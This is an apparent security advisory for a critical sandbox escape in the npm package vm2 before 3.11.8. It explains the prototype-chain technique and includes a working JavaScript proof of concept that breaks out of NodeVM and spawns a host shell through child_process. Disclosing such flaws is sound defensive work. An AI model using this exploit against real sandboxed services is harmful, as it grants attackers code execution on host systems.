GitHub Advisoryadvisory · npm
GHSA-88hf-g992-jg85 vm2: Sandbox Escape (NodeVM)
CRITICAL
Official page ↗
- Aliases
- CVE-2026-92955
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-913
- Reviewed
- 2026-10-05
Affected packages
• npm vm2: < 3.11.8 → fixed in 3.11.8
Description
Summary
It being possible to obtain the host `__proto__` getter/setter, has been used in many reports:
• https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
• https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
• https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
• https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
---
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default)
Details
The prototype chain for `console._stdout`/`console._stderr` is:
```
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
```
`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`
By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.
This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor.
PoC
```js
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);
```
Related
Alias · CVE (1)
- CVE-2026-92955 vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter… vulnerability
Weakness · CWE (1)
- CWE-913 Improper Control of Dynamically-Managed Code Resources weakness
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-92955 advisory
- https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290 web
- https://github.com/patriksimek/vm2 package
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989 web
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440 web
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8 web
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm web